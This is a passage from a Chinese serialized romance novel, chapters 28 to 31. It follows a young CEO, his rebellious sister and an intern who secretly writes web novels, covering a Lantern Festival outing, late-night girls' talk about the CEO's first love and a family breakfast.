他们这屋人不多,可在坐的总部一线,少说也有七八个。闻声都是眼观鼻,鼻观心,八卦的耳朵却一个个都竖直了。
看来这两天的传闻是真的!那个叫肖瑜的小姑娘,果然是老总的女朋友。
安祈攸看一眼起了醉意的顾程,朝众人笑了笑,“顾总今晚喝得有点多,得再坐会儿。你们先走吧,元宵快乐啊。”
“好的。老总,安总,元宵快乐。您二位也早点回去休息,明天见。”
眼见一桌人鱼贯而出,安祈攸皱了下眉,复又坐下,“今儿你喝得可真不少。要不我直接送你回去?”
尽管顾程每次敬酒都只轻抿一口,奈何人数众多,比起寻常酒局的心中有数,他是真的有些没把握住。
“那小祖宗今晚要看灯展,我得看着。”顾程依旧拿手撑着额头,眉心都挤成了川字,“还有我妹妹,都不是省油的灯。”
“你刚是不是失言了?”安祈攸看一眼门口,悄声道,“今儿已经有风言风语,说肖瑜有个身份神秘的男朋友,似乎就是你。你这还大张旗鼓地让她来给你开车?合适吗?”
“又不是真的,有什么不合适。”顾程低笑一声,歪头瞥了他一眼,“你是不知道那小姑娘,脑子不好,傻乎乎的,脾气还不小,一看就是家里给宠坏了。就她那个迷糊劲儿,随便哪个男人都能给骗了。这么传着也好,要么保没人敢乱动她心思,要么惹她那个个体户爸爸先来找我,反正都不亏。”
“啧。这是故意的啊。”安祈攸恍然大悟地舒了口气,笑道,“还是你弯弯肠子多。不过小姑娘挺漂亮的,发育得也很正,家世跟你也算门当户对。要真不打算等舒曼了,你把她娶回家也不错。”
顾程挑了下眉,笑笑地问他,“发育得很正?”
“嗯,就这小姑娘,白白嫩嫩,该有的都有,一看就软乎乎的,手感肯定……”安祈攸忽然闭了嘴,轻咳一声道,“我去叫她过来开车。”
*
“我不会开车。”肖瑜一听安祈攸的安排就不乐意了,嘟着嘴找理由推诿,“没驾照。”
“你简历上可是写了会开车,有驾照的,还是重型牌。”安祈攸面对这个第一次见面就使唤自个儿热牛奶的小祖宗,也是没办法,绷着脸打官腔,“顾总让你帮他开车,那是信任你。听话,别做当众下老板面子的事,影响多不好。”
这一间里坐的是燕北北他们几个实习生,还有肖瑜专门叫过来的陆洋和几个同期。闻言大家也都很有眼色地沉默着,没人多吱声。
肖瑜深深吸了一口气,起身不情愿地跟着安祈攸走了出去。
燕北北他们几个嚯得一抬头,嘴巴刚刚张开还没开始尽情八卦,安祈攸又探头进来朝她勾了勾手指,“燕北北,你也一起。”
“……”
*
这边安祈攸把顾程在后座安排好,走回驾驶座跟肖瑜报地址,设导航。副驾上燕北北拿着手机,跟一群小伙伴约定待会儿集合的地点。
一阵小忙活后,GLE稳稳开了出去。安祈攸终于长舒一口气,伸手照自己嘴上轻轻抽了一下。
还说顾程喝醉了,明明是自己这个滴酒未沾的人糊涂了。就他那种母苍蝇落身上都嫌烦的性子,怎么可能为了一宗大单,就不厌其烦关注着那位小祖宗。怕是连顾程自己都没察觉,他对肖瑜的兴趣有点过于浓厚了。
可是,安祈攸啊安祈攸,你这嘴,刚刚都说了些什么……
*
顾程闭着眼睛靠在后座,也不知道是睡着了,还是只在闭目养神。
车内酒气有点重,不仅他喝了不少,燕北北也喝得十分过瘾,是她最爱的那种微醺状态。
肖瑜抽空看了眼后视镜,把车窗摇下一丝缝,有一点点的凉风透进来散气,却也不至于让醉酒的人受寒。
燕北北也偷偷转头看了眼顾程,继而在侧悄声问道,“咱们接完菲菲……然后呢?”
“然后?然后不是去看灯展吗?”肖瑜有点不解地反问了一句。
燕北北悄悄伸手向后指指,那意思是,‘他怎么办?难道也带着?’
可肖瑜开着车,没注意到她的眼神,目光扫过她往后指的手,难免又嘟了嘴,悄声埋怨道,“安助理也不把话说清楚,这哪里是让我来给顾总开车啊。明明只是让我帮着开车去接菲菲。这下好了,明天又要被人传闲话了。”
“没事。”恰好红灯,燕北北拍了下肖瑜的腿,跟她悄悄对了个眼神,还是保持着小小的声音,说道,“过几天让你真正的男朋友来一趟,谣言就不攻自破了。”
“他很忙的……”肖瑜似乎很踌躇,好半天,才叹了口气,“晚点我跟他说说吧。北北,你要给我作证,我可是清白的,眼里心里一直都只有他。”
“那当然。”燕北北说完,又低头捡东西似的弯了下腰,偷眼去看顾程。
他依旧闭着眼睛,保持着刚才的姿势,不知醒着还是睡着。
*
接到哥哥电话,顾菲一阵风似的从餐厅上跑下来,拉开后车门抱住顾程就是一顿晃,“哥,我爱死你了哥,你最好了哥!”
“晕,别晃。”顾程拉下她的手,朝燕北北扬了扬下巴,“谢谢她俩,不然明天你能不能被放出来都还不一定。”
“那肯定的,我今晚要跟两个小姐妹拜把子!”
肖瑜和燕北北都被顾菲逗笑了,可因为顾程也在,她俩倒也没在这时候跟她闹。
肖瑜正要踩油门,看到刚才顾菲过来的方向,有个男人也跟着冲了下来,四下看看慌不迭就往这边跑,她愣了一下,转头问询地看向顾菲。
“那是我堂哥,顾明。”顾菲啪地打了个响指,解释道,“我刚下来的时候,他上厕所去了,没来得及跟他说……”
“二哥?菲菲?”顾明敲敲后门,待顾程的脸从缓缓摇下的车窗内露出来,他才如释重负松了口气,“二哥,我就上个厕所,这小姑奶奶……”
“别乱喊,辈分都乱了。”顾程笑了笑,问道,“你去看灯展吗?”
“不看,我约了几个朋友出去玩。”顾明一甩头发,神清气爽地说道,“好不容易没了拖油瓶,我今儿晚上得好好玩玩。”
“你才拖油瓶呢!”顾菲皱着鼻子哼一声,指指前边的驾驶座,“本来还打算给你介绍个小姐妹的,活该你没这福气,赶紧走。”
顾明这才看到开车的居然不是安祈攸,副驾也还坐了个人。他见过燕北北,而开车的女孩子头发很浓密,但是没回头看不到脸,只不过他对顾菲的眼光一向不怎么认同,撇了下嘴摆摆手,“二哥,回见,拜拜。”
车子
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开了出去,顾程看一眼收拾得很精致的顾菲,淡淡问道,“吃过饭了?”
顾菲点点头,笑得很狗腿,“嗯,哥,你待会儿是先回家吗?”
“我陪你们。”顾程直了下身子,歇了会儿精神回涨不少,“省得一个个夜不归宿。”
肖瑜在前边翻了下眼睛。
顾菲却‘啊’了一声,“你跟着,我们还怎么玩啊。哥,你先回家歇着,我们看完就回家。”
“你是还没被关够?”顾程瞥她一眼,轻斥道,“以后在外边玩长点心,还有,那种乱七八糟的网络小说也别看了。小小年纪一点不知道学好。”
“我在家也就那么一点兴趣了,连这也要管吗。”顾菲郁闷地翻了个白眼,突然抱起顾程的胳膊,很好奇地问道,“哥,你身边有没有哪个比较亲近的人,像总裁办那些秘书之类的,很喜欢小猪佩奇的?”
顾程看了眼正在开车的肖瑜,又看了眼闻言也看向肖瑜的燕北北,摇摇头,“总裁办都是成年人,没人喜欢猪。”
肖瑜在前面又翻了个大白眼。燕北北也憋着笑,捂了下嘴。
顾菲倒是安静下来,没再说话,只是转转眼珠,又把顾程的胳膊抬起来,去看他的表。
顾程最怕妹妹不吭声乱作妖,抽出手来问道,“你问这个干吗?”
“没什么。”顾菲歪在他肩头,撒着娇,“哥哥,待会你别下车,在车上好好歇歇。你看你这一身酒气的,要是为了陪我给累着,我会心疼的。”
“你要是真心疼我,就别一天天总往外跑,让人操心。”顾程无奈地嗔她一眼,摇摇头,“我只是怕你们出意外,放心,不影响你。”
*
终于到了举办灯展的步行街,周边已是人山人海,根本找不到停车位。
肖瑜转了好几圈,没办法,只好在入口处将燕北北他们放下来,见顾程坐在车上并没有下去的意思,她挤了下眉,问道,“你不跟着菲菲吗?”
“开车。”顾程探首跟顾菲比了个打电话的手势,见她开心地点了头,又在燕北北介绍下跟公司里的人说上了话,他便摇起车窗,懒懒靠回去说道,“陆洋他们几个都在,没事。去找车位。”
不只陆洋和几个同期,刘明坤和张弛他们也都在,浩浩荡荡一群人,又都是同单位的,的确安全得很。
*
顾菲此前跟燕北北和刘明坤他们一起跳过舞,这群人里,和陆洋他们才算是真正第一次见。
听说顾菲原来是顾程的亲妹妹,刘明坤明显再没了打探她的胆量,而陆洋和张弛他们,因为心里对顾程十分敬重,对这位性格热烈的老总妹妹,也是很自然地心生亲近,照顾有加。
大部队往前行进时,陆洋顿了下脚步,还是有些不放心地问道,“肖瑜呢?不等她吗?”
“待会儿我哥会陪她过来的,别担心。”顾菲一边说,一边拉着燕北北笑,“我都好几年没看灯展了,也好久没在人这么多的时候出来逛过。你们以前上学的时候来看过吗?”
她不知道华驰里对顾程和肖瑜的传言,自然也没注意自己一声话落,一群年轻人神色各异的面面相觑。
燕北北看一眼张弛他们,跟她挽着胳膊稍微落后了一点,一边看灯,一边小声说道,“趁你哥不在,问你点事儿。你哥到底有女朋友吗?”
29. 第 29 章
第二十九章
“没有啊。”顾菲很爽快地答道,“他就大学那会儿谈过一个女朋友,分了之后到现在都没再找。”
“就那个初恋是吧?”这事儿之前燕北北就听顾菲说过,当时是为了解释他哥不是个变态跟踪狂,而是专情好男人。于是她又问,“我记得你说,顾总到现在还在等她?”
“我是这么觉得的,不然为什么对别的女人一点兴趣都没有?而且舒曼姐,就是我哥的初恋,每年在他生日的时候都会休假回来,住上几天。我哥出国度假的时候,俩人也会约着一起见见面,反正一直联系着的。嗳?”顾菲正说着,突然吃惊地瞪大了眼睛,“北北,你不会是看上我哥了吧?你啊,可千万别被他的皮囊给骗了,我估计他身边连个母蚊子都活不了几天。他很闷的,而且特别老古董。”
“我可没那个贼胆。”燕北北连忙摇头,看了眼前方也一边看灯,一边热热闹闹聊起来的同事,伸手捂着嘴在顾菲耳边道,“我们公司现在谣传,说你哥跟肖瑜是一对儿。不过他有些做法确实很让人误会,所以我跟小鱼儿得先了解清楚才能有对策。”
“啊?!”顾菲眼睛瞪得铜铃一样,美瞳几乎都要掉出来了,“你快说,怎么回事?”
*
好不容易把车停好,肖瑜匆匆打电话跟燕北北确定了见面的位置,转头看一眼也下了车的顾程,咽了下嗓子,“顾总……时间不早了,我想跑过去……”
她这么说,是因为看顾程那慢条斯理的样子,怎么看都不像是会跑着走的人。可人家好歹陪着她一起找车位,又是一同来看灯展的,就这么把人甩下直接跑了,会显得很没礼貌。
“我不想跑。”果然顾程张口就是拒绝,“人这么多,不安全。慢慢逛过去,灯又不会走。”
熙熙攘攘的人群,每个人脸上都是放大了的兴奋。不是灯有多神奇,而是节日的氛围下,兴高采烈是必需的。可再看这位年不到三十的老总,不喜不怒一脸的云淡风轻,似乎除了皱眉,他最开怀也就是勾一勾唇角了,人群中另类得像尊恬淡的佛。
肖瑜一下子就垮了脸,嘟囔道,“可你这么磨叽,等找到北北她们,灯展都要结束了。”
顾程瞥她一眼。小姑娘今天因为出来玩,穿了牛仔裤运动鞋,超大的抓绒外套,毛茸茸矮矮的,像个粉团子。他不禁想起安祈攸那句‘软乎乎’,下意识清了下嗓子,问道,“她们在哪儿?”
“刚才开车过来的时候看到那个大黄蜂了吗?就那儿。”肖瑜指一指东边,迈开脚步,“赶紧过去还能玩会儿,不然真就……”
正说着话,顾程突然大跨一步将她拉进怀,另一手挡在她身后皱了眉,“跑什么跑,要撞到人了知道吗?”
肖瑜被拽得莫名其妙,几个十几岁的少年已打着闹着从她身侧跑了过去,边跑还边笑着喊,“对不住啊大哥!嗳!别跑,抓的娃娃还我!”
软绵绵的一团从怀里倏地离开,顾程怔了一下,肖瑜也有点不好意思,说了句‘谢谢’,便老老实实跟在他身边,也不再说要跑着去。
说是走,其实比肖瑜想象中要快得多。
顾程虽然没有匆匆的步伐,可身高腿长,每一步迈出去,肖瑜都要赶两步。他也十分细心,对于周遭行人的预判总是很及时,适时拉一下她的胳膊,或者伸出手臂拦挡一下,十几分钟后见到燕北北她们的时候,肖瑜竟然连个衣服边都再没被人碰到过。
见到顾菲,顾程便没再跟在肖瑜身边,而是由着顾菲挽住他的胳膊,亲亲热热跟他兴奋地说话游玩。
而肖瑜跟燕北北挽住手臂走在一起,她下意识看了看前方顾程的身影,因想起另一个人,轻轻咬了下唇。
“怎么啦?跟顾总又发生什么不可说的事儿了?”燕北北挑着眉,一副八卦的贼眼,“刚才我可问了菲菲不少信息,晚点讲给你听啊。”
“嗯。”肖瑜垂下了眼眸,可也不过几秒,便弯起唇角问道,“陆洋他们呢?我看你们今天聊得还不错,他人挺好吧?”
“陆洋要是在古代,那肯定是带头大哥一样的人。”燕北北笑道,“别说他那几个同期了,就张弛跟他玩一会儿,都亲近得不行。不过你来得太晚了,他们又听说老总会过来,怕玩起来放不开,已经去下一站了。”
“下一站?”肖瑜不解地问道,“待会儿你们不打算回家吗?还要继续玩?”
“开什么玩笑,大过节的,肯定要玩到半夜才行啊。”燕北北指着前方的顾菲,悄声笑道,“你看菲菲,肯定正在跟她哥撒娇卖乖呢。她也想去蹦迪,奈何顾总不爱夜场,也不爱她去。哎对了,你猜菲菲这次惹了什么祸才被禁足的?”
肖瑜看她问得贼,使劲儿想想,好奇道,“夜不归宿?”
“搞笑得厉害,她可真是你的铁粉。”燕北北提起来就想笑,凑在她耳边说道,“你还记得你新文里,男女主相遇的场面吗?那女的不是因为情伤,去夜店点男公关吗?菲菲那天就是剧情重现。带了几个小姐妹跑到一家会所点男人,结果看上的男人后来被别人又给点了。她气不过,直接跑过去找事儿,你猜后来怎么着?”
“哈。”肖瑜立刻就笑出了声,连忙问,“嗯,后来呢?我写的是男主在走廊上遇到女主,反把她给带走了。菲菲呢?被谁带走了?”她正说着,忽然惊讶地捂住了嘴,“你别告诉我她因为这个,跟别人搞一夜情了?”
那罪过可大了。要是顾程知道那些教坏顾菲的网文是她写的,可不得更要折磨她?
“看吧,这生活啊,远比小说更不可思议。”燕北北乐不可支地说道,“她冲进人家的包间去闹,结果那富婆是她妈妈的闺蜜,打小看着她长大的那种!哈哈哈哈。直接就给她妈妈打电话告状了,哈哈哈!”
肖瑜听完简直笑得喘不过气儿,哈哈哈跟燕北北乐成一团。
前边顾程回头看了她一眼,她迎上他疑惑的目光,下意识就连忙低头躲开,可还是憋不住笑得肩头乱抖。
顾程耳边,顾菲还在一遍遍哀求,“哥,你要是不放心,我们一起去嘛。不过为了大家能放开了玩,你别跟我们离得太近。他们都是你的下属,很怕你的。”
“不去。不行。”顾程回过头来,不耐地说道,“你和肖瑜,待会儿看完都跟我回去。”
顾菲闻言转了转眼珠,“哥,你不是真的喜欢肖瑜吧,怎么那么喜欢管人家?我听说你们公司最近都在传,说她是你女朋友?”
“收心养性学不会,传谣的本事倒是不用教。”顾程低哼一声,一本正经地应道,“她跟我是邻居,又是我眼皮子底下,唯一一个独居的实习生。管一管不应该吗?”
“人家有男朋友的。”顾菲小心翼翼地说着,观察他的表情,“人男朋友跟她感情可好了,对她也可放心了,从来不管那么多。哥,你可不能当第三者。”
“前几天你不是还说她喜欢的人出国了?”顾程未置可否,也没有任何情
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绪变化,只依旧漫不经心地问道,“上班这几天,两点一线,哪儿又找了个便宜男朋友?”
“她那么漂亮,又乖,很多人追的。”顾菲答应了燕北北要帮忙探虚实,十分上心,用两人商量好的话术半真半假地说道,“我听北北说,刚上大学那会儿,她就好多人追的。只不过她跟被人下了蛊似的,见到她喜欢那男人就脚软,一天天缠着追。追到后来全校都知道她心有所属,偶尔一两个不信邪的,又因为那男的其实跟肖瑜也有点暧昧,自身条件也好,实在比不过才放弃的。现在那个耗子走了,可不就有人趁虚而入了吗?”
“耗子?”顾程挑了下眉,啖笑道,“她喜欢的那个人?”
“嗯,你没看她微信名就是,爱耗子的鱼。鱼就是她,她外号就是小鱼儿。”
“那她现在的男朋友还真是大度。”顾程又笑了笑,“由着她继续喜欢别人,连微信名都可以不用改。这可不是一般男人能受得了的。”
“……”顾菲噎了一下,差点不知道要怎么接,好半天才憋出来一句,“反正她现在有男朋友的。”
顾程低笑一声,淡淡扫她一眼,“跟我有什么关系。你就是不准去。”
“哥!”
*
顾程决定了的事,顾菲说破嘴也没用。
临到灯展结束,整条街只剩下平素的路灯,还有路边小摊贩上未尽的热闹。肖瑜听到顾菲说,自己也得跟他俩回去,她深呼吸了一下,还是决定先跟顾程讲道理,“顾总,我第一次没有在家过元宵,提前跟家里报过备的,我爸爸妈妈都同意。不信你让学校打电话啊,我不怕的。”
“好。”顾程居然一个字都没多说,车钥匙直接给了顾菲,“你开车,送她们过去。”
顾菲激动极了,连忙点头。可顾程又说,“送到,我们就回家。”
“哥……”顾菲瞬间就蔫了,“哥,不带这样的,我也想跟小姐妹玩会儿,要不,你在车上等我行吗?我就玩……一个小时行吗?”
“顾菲,你今晚说的我很烦。”顾程边走边道,“不想再听你废话。”
顾菲不吭声了。连燕北北和肖瑜都感受得出顾程的不耐,还有一丝说不出的,气压有点低。
几个人来到车边,顾菲上了驾驶座,而顾程自顾自拉开后车门坐了进去,燕北北跟肖瑜面面相觑。
半晌,燕北北瞅瞅后座上气压超低的顾程,可怜兮兮地又去看肖瑜。肖瑜无语地叹了口气,点点头,在闺蜜感激的目光中,拉开车门坐了进去。
顾程已经在打电话,声音很低,却并不避人,“嗯……把联系方式给我就好。不需要现在打,她什么时候到家,我什么时候打。”
顾菲在前面开着车上了大街,燕北北闻声疑惑地回头看了眼顾程,肖瑜也忐忑地看向他,嗫嚅道,“你不会是……真的在跟学校要我爸妈的联系方式吧?”
顾程挂了手机,压根没搭理她,闭上眼睛靠回后座,又是一副似睡非睡的模样。
肖瑜可怜巴巴地去看燕北北,燕北北也扭头看着她,突然肖瑜的手机响起视频通话的声音,她惊了一下,连忙把手机拿出来,这才想起快十一点还没跟家人报平安!
“妈妈……”
手机屏幕上出现穆青华的面容,见到女儿在黑漆漆只有隐约光亮的地方跟自己讲话,她登时便急了,“乖宝啊,这马上都要十一点了,你怎么……这是在哪儿啊?还坐着车呢?怎么还没回家呢?”
30. 第 30 章
第三十章
“我马上到家了妈妈。”肖瑜瞅一眼闻声朝她看来的顾程,因他唇角那丝讥笑脸红了一下,小声说道,“妈妈,灯展是十点半才结束的。我真的马上到家了,你别担心。”
“你这孩子,以前在那儿有昊昊陪你,妈妈不担心。可你现在一个人……”穆青华也是急了,脱口说出那个名字后顿了一下,见肖瑜没有很激动的反应,才又缓了语调说道,“乖宝,你坐的出租车吗?车号跟妈妈说一下。”
“不是,是朋友的车,女孩子,很安全的。她叫顾菲,是我新认识的朋友。”肖瑜连忙把手机屏幕面对顾菲,顾菲也听着了,凑空回头笑着喊了一句,“阿姨好!”
“还有,北北也在,我们一起的。”肖瑜又把屏幕对向燕北北,燕北北也笑得灿烂无比,“阿姨,您别担心,我们真的马上到家啦。”
“那就好。”两个女孩子的声音,终于让穆青华舒了一口气,有点埋怨又关切地叮嘱道,“这大晚上出去玩一直不吭声,你要不接视频,我跟你爸都打算直接过去了。你到家记得跟妈妈报个平安,乖,记得了吗?”
“嗯。”
放下电话,肖瑜还没来得及蹦跶的心,又扑腾着堕入了尘埃。偏身边的男人还落井下石,悠悠说道,“车是我的,你坐的是男人的车。”
“……”
*
顾菲和肖瑜都折腾不起来,燕北北也只好仗义地陪着她俩,一起回到了泽鼎。
许是觉得几个小姑娘到家翻不了天,又是在自己的眼皮子底下。回到公寓后的顾程没再揪着顾菲不放,反而破天荒让她挑了瓶红酒下楼,准许她夜里可以在肖瑜那住一晚。
顾菲激动坏了。
长兄为父这个词,在顾程身上展现得淋漓尽致。她自小跟在顾程身边前后围着,兄妹两个在一起的时间比跟父母在一起都多。顾程虽然管得严,但也真的很疼她,只要听话不闹事,要星星绝对不给月亮。所以其实顾菲一边嫌弃哥哥管得多,老古董,却又打心眼里敬他爱他,相比之下,父母在她心中的份量都没有哥哥来得重要。
只不过她是个爱闹的性子,时常因为出去玩被哥哥念叨,顾程第一次主动给她拿酒,还主动准许她可以夜不归宿,这对顾菲来说,简直是要铭记一生的恩典。
她和燕北北一人一杯红酒,坐在阳台上晃着品着,享受得不得了。
肖瑜跟父母视频完也洗了澡过来,看到燕北北递过来那杯盛了杯底的红酒,摇摇头,“我不喝,谢谢。”
“小鱼儿,今朝有酒今朝醉。”燕北北半杯酒下肚,加上晚宴上那些,早就有点上头,翘唇笑道,“来,尝一下。”
“你真的滴酒不沾啊?”顾菲也怂恿道,“那个耗子走了,我哥这会儿也不在,你爸妈和哥哥隔得那么远,这还是在你自己家里。喝一点没事的。”
肖瑜摇摇头,接过红酒放去桌上,还是抱着自己手里那只超大的牛奶杯,“我还是更喜欢牛奶。你们喝吧,不用理我。”
“你啊,就是太乖了,让男人一看就想欺负。”燕北北坏笑着拿胳膊碰一下顾菲,笑道,“我说的对不?你今晚也看到了,你哥就是爱管肖瑜,他这到底什么意思?”
肖瑜抿了口牛奶,因想起晚上一路走来,顾程细心拦护的样子,下意识也看向了顾菲。
顾菲转头看着肖瑜,好半天,才放弃地揉了揉额头,跟顾程偶尔搓额头无奈的动作,一模一样,“我也有点糊涂了。要说小鱼儿根本不是我哥喜欢的类型,而且我哥对喜欢的人根本不像管我似的,看那么紧。可要是不喜欢吧,莫名其妙又总想管你干吗?他可没那么闲。”
肖瑜听了她的话,怔了怔,转瞬又起了兴致,“那顾总喜欢什么类型?我之前就想问你了,他的初恋是什么样的女孩子?”
“难道你对他有兴趣啊?”顾菲惊讶地瞪大了眼,连连摆手,“可别的,我怀疑舒曼姐跟他分手,就是因为他太无聊了。”
燕北北看了肖瑜一眼,笑道,“小鱼儿心里只有一个人,但是她特别喜欢听别人的感情故事。”
“嗯。”肖瑜也小鸡啄米一样点着头,抱着牛奶杯往顾菲身边凑,“讲讲啊?”
“他俩当时都是校园里的风云人物,因为彼此都很优秀,关系很近,做了快三年的好朋友,才正式成为恋人的。”顾菲喝了口小酒,晃着脑袋说书一般,曼声道,“舒曼姐是那种气场很强大的女人,女强人懂吗?她跟我哥俩人站在一起,只看外形,你能想到的词汇,绝对是天生一对。
“但是她很爱玩,非常爱玩,比我还爱玩,夜场样样精。我哥你们知道的,闷得要死。但他俩谈恋爱的时候,舒曼姐爱怎么玩怎么玩,我哥从来没有半个不字,惯着宠着,我都嫉妒死了。从来都是她喝多了、玩累了,一个电话过来,不管我哥当时睡了还是没睡,人在哪儿,都一定会亲自过去接。”
“没看出来啊……”燕北北先惊讶了,抿口小酒,一脸的不可思议,“顾总居然是个二十四孝男友?”
“那怎么会分手了呢?”肖瑜也很意外,可更意外的是,两个这么般配又互给自由的伴侣,居然没有直接走进婚姻的殿堂。
“舒曼姐是个很优秀也很独立的女人,那年出国交换,她在国外得到了很好的工作机会,是她先提出的分手。”顾菲歪了下头,也很遗憾地说道,“那我哥就同意了啊。然后,就没有然后了。”
“就……这?”肖瑜惊呆了,都有点不相信自己的耳朵,“那么轰轰烈烈的爱情,她说分手,他就分了?”
“那不然呢?”顾菲耸了耸肩,很淡定地说道,“难道你觉得我哥是那种会为爱发疯,要死要活的人吗?”
“……”肖瑜跟燕北北对视一眼,都绷不住笑了起来。
还别说,这几个字放到顾程身上,简直堪称春节贺岁档。
“不过吧。”顾菲慢悠悠又喝了口酒,叹息道,“这么多年,我哥也见过不少家里长辈介绍的对象,都是吃顿饭就没了后话。他很传统,打小就把娶妻生子延续家族血脉当成一项任务。可你说他都这么大岁数了,又一点不着急找女朋友。所以我们都觉得,他肯定还是放不下舒曼姐,在等她回来。”
听到这儿,肖瑜总算又嗅出点暧昧的味道,眼眸晶亮地问道,“那他的初恋,舒曼,是在国外定居了吗?是不是也一直没谈男朋友?会回来吗?”
“这些我倒没问过,不过她跟我哥一直都保持着联系。对了,过段时间我哥生日,她肯定回来,到时候找机会我介绍……”顾菲说着,突然放下酒杯,转了转眼珠,疑惑地看着她,“肖瑜……你不对劲啊,怎么老问我哥跟舒曼姐的事?你真看上他了?”
肖瑜有点踌躇地看了下燕北北。燕北北好笑地看她一眼,又看看顾菲。
顾菲不解地在她俩的脸上看来看去,越发奇怪,“怎么突然觉得你们俩怪怪的,干嘛呀?当不当我好姐妹啊,是不是有事瞒着我?”
“其实……”肖瑜干干地咽了下嗓子,伸手
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把一边的佩奇抱枕拿过来,递到顾菲怀里,小声说道,“我那么关注顾总,想听他的感情故事,是因为……因为我很喜欢它。”
她尾音随着那个‘它’字,指尖抵着小猪佩奇的鼻子。
“我的天啊,你真喜欢上我哥了?”顾菲还没想到别的地方,‘它’字直接理解为了‘他’,把抱枕往后一丢,握住肖瑜的手,痛心疾首地劝,“姐妹,别往火坑里跳。虽然他是我哥,人帅,身材好,又有钱,可那些都是表象。你瞅瞅他,夜生活素得除了在家还是在家。你可不是舒曼姐,你俩这还没怎么着呢,你看他管你跟管我似的,要是真在一起,哭死你。千万别想不开啊!你要是想谈个恋爱玩,我堂哥顾明更合适。”
“哈哈,顾总要是听到你这么埋汰他,怕不得继续给你关禁闭啊!”燕北北笑得前仰后合,抓回佩奇抱枕又塞进顾菲怀里,拍着佩奇的头笑道,“傻菲菲,小鱼儿说的是喜欢‘它’……我爱佩奇啊!”
顾菲愣了一下,低头看看怀里的粉色小猪,拿手指向肖瑜,不可置信地瞪大了眼,“你……你是,你就是,我爱佩奇?!”
肖瑜有点不好意思地点点头。
顾菲一下就扑了过来,把肖瑜摁在沙发上一顿揉,“我的天啊,居然是你!你们两个坏人,怎么不早说呢!居然是活的‘我爱佩奇’,我喜欢死你了,小猪宝,快让我好好抱抱!”
*
左上方的阳台上,顾程正喝着气泡水懒洋洋靠在那儿,突然看到顾菲狼一样朝肖瑜扑过去,使劲儿在她身上乱揉,他微微绷直身子,喉结动了动。
许是因为喝得多了,他今晚有点烦躁。或者说,有点莫名地躁动。
都是安祈攸那个雄激素过剩的家伙,什么软乎乎发育得很正,让他如今再看向那个粉嫩嫩的小姑娘时,整个人的情绪都有点不太对。连看到顾菲上去揉她,都觉得……
他皱了下眉,转身走向卧室。
不过总算可以确定,有人陪着,又没有电脑,小姑娘的确不发癫。
*
次日一早,肖瑜和燕北北起来洗漱的时候,顾菲跟她俩告了别,就直接上楼洗漱换衣服。
几个女孩子夜来聊得热火朝天,对月拜了把子。肖瑜答应了顾菲,把她的名字也客串到正在更新的小说里;顾菲也答应了肖瑜,要做好内应,了解清楚顾程对她处处管制的原因,顺便找机会介绍顾明给肖瑜认识。不是为了谈恋爱,而是为了能更深入地了解泽城纨绔的夜生活,找灵感。
顾程对此一无所知,可晨起锻炼回来后,看到已经早早回家、收拾齐整的顾菲,多少还是察觉到她的一丝异常。
早餐端上桌,到底是顾菲先忍不住,转着眼珠问道,“哥,你今晚回家吗?”
她说的是顾家老宅。只要人在泽城,顾程每周五都会回去陪父母和妹妹用晚餐,风雨无阻。
“嗯。”
听到一声低应,顾菲轻轻舒了一口气,眼眸弯弯地端起热巧。
顾程瞥她一眼,“昨晚跟她俩玩得挺开心?”
“嗯。”顾菲看到顾程因端起咖啡露出的腕表,再想起肖瑜小说里那位以他为原型的霸总,忍不住放下热巧捂住嘴笑了笑,才清清嗓子很正经地说道,“我们已经是结拜姐妹了。哥,以后你在公司要帮我罩着她俩,可不能让人欺负她们。”
“她俩安安分分上班,不会有人欺负。”顾程一边垂眸用餐,一边很随意地问道,“你们刚认识不久,怎么会这么谈得来?”
31. 第 31 章
第三十章
“缘份啊!你是不知道,肖瑜她就是……”顾菲一激动,差点脱口而出,她忐忑地瞄了眼依旧低眉切着煎蛋的顾程,及时刹车改了口,“她就是跟我一样,都是那种外表甜美,内心魔鬼的女孩子。北北我俩就更合得来了,我很欣赏她的,洒脱又自信,跟我很像。”
“你对自己的评价还挺高。”顾程低笑一声,喝了口咖啡,“解释一下什么是内心魔鬼。”
“就……”顾菲搜肠刮肚地想了想,这才应道,“就是,跟我一样,自己的生活太平淡,就会憧憬充满戏剧性的人生。最好每天都鸡飞狗跳热热闹闹,一波未平一波又起,充实又刺激。”
“你的生活还不够鸡飞狗跳?”顾程放下餐具,好笑地看着她,“你从上小学开始,哪个月少得了被老师叫家长?高中的时候,我从游戏厅、网吧和舞厅又把你抓回来多少次?大学的时候,偷跑着去见乱七八糟的网友,又被逮住几回?还有时不时喝多了闹事……顾菲,你都开始跟有孙子的珍姨抢男公关了,你跟我说你的生活还不够刺激?”
顾菲咬着勺子,抬起眼睛委屈地看着他,嘟囔道,“可别的我又能做什么?你知道我不喜欢上学的,也不想上班,除了玩,我什么都不喜欢。”
顾程叹了口气,伸手揉揉眉心,“你玩,可以,但不能太过分,得有个度。你总说爸妈跟我一直把你当小孩管,可是菲菲,如果你不能自律,我们又怎么放心让你独立?”
“上次的事是我错了,但你知道我平时也是有分寸的。”顾菲蔫蔫地说道,“你们不给我独立的机会,又怎么知道我不会自律。就是因为平时被管得太严,我才更想反着来。”
“所以都是爸妈和我的错?”顾程低头看一眼表,起身道,“你今天就别出去了,等我忙完一起回家。还有,晚点我还有事要跟你商量,跟你的独立有关。你最好别乱跑,不然我随时可能改变主意。”
*
寻常的周五,普通员工兴奋地期待着周末,可对管理层来说,平静的表面下暗流涌动。
一大早,安祈攸就接到电话,南区几个老技工在赵老带领下,居然准备来总部拉横幅,好在半路被胡厂长截了回去,总算没在正月十六闹出轰动泽城的大新闻。
顾程听了,只是摇头一笑,“看来胡厂长还在犹豫。”
“赵老他们真是一言难尽,到现在还分不清好赖,一把年纪被当枪使。”安祈攸也无奈得很,拿起电话拨给了刘娜,“下周的采访安排一下吧,按计划来。”
“好的。”
刘娜很快发来了汇报日程的电邮,也发了微信。
顾程抬手拿起震动的手机,眉骨微动,“发个通知,规范一下微信名。”
“啊?”安祈攸一时脑筋转不过来,奇怪地问道,“什么微信名?”
“我记性不好,群里乱七八糟的名字不知道谁是谁。”顾程放下手机拿起鼠标,慢吞吞说道,“以后,实名制。”
“……”安祈攸忍住翻白眼的冲动,在公司总部群里发了个通知,【为方便日常管理,请大家规范微信名称,实行实名制】。
十几分钟后,顾程跟安祈攸一起下楼去参加市里的杰出青年颁奖仪式。上车前他点开某人的微信看了看,很满意地点了下头,心情很明朗。
*
肖瑜修改微信名的时候,心头还是针刺般疼了一下。可修改完,却又有几分怅然的轻松。
